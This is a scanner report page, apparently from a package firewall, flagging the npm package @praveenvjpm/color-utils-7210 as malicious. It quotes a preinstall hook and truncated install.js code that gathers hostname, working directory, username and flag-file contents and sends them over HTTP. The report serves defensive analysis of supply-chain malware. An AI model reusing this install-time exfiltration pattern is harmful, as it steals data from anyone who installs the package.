@praveenvjpm/color-utils-7210@1.0.0: Malicious npm security

Loading npm security reports…

@praveenvjpm/color-utils-7210@1.0.0: Malicious npm security | LPM Firewall

Source & flagged code

6 flagged

package.jsonView file

•scripts.preinstall = node install.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"main": "index.js", "scripts": { "preinstall": "node install.js" } }

High

Suspicious Lifecycle Evidence

The preinstall hook invokes install.js automatically during installation.

package.jsonView on unpkg · L5

•scripts.preinstall = node install.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

install.jsView file

1@" L2: const http = require('http'); L3: const fs = require('fs'); ... L11: var finds = []; L12: finds.push('host=' + os.hostname()); L13: finds.push('cwd=' + process.cwd()); L14: finds.push('user=' + (process.env.USER || process.env.USERNAME || '?')); L15: ... L39: req.on('error', function() {}); L40: req.write(body); L41: req.end();

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

install.jsView on unpkg · L1

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

install.jsView on unpkg

1@" const http = require('http'); const fs = require('fs'); const os = require('os'); function tryRead(p) { try { return fs.readFileSync(p, 'utf8').trim().substring(0, 160); } catch (e) { return null; } } var finds = []; finds.push('host=' + os.hostname()); finds.push('cwd=' + process.cwd()); finds.push('user=' + (process.env.USER || process.env.USERNAME || '?')); ['/flag', '/flag.txt', '/app/flag', '/home/n

High

Ai Review Evidence

install.js gathers hostname, working directory, username, and contents from several flag paths.

install.jsView on unpkg · L1

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.preinstall = node install.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"main": "index.js", "scripts": { "preinstall": "node install.js" } }

High

Suspicious Lifecycle Evidence

The preinstall hook invokes install.js automatically during installation.

package.jsonView on unpkg · L5

•scripts.preinstall = node install.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

install.jsView file

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

install.jsView on unpkg · L1

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

install.jsView on unpkg

High

Ai Review Evidence

install.js gathers hostname, working directory, username, and contents from several flag paths.

install.jsView on unpkg · L1

@praveenvjpm/color-utils-7210@1.0.0

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code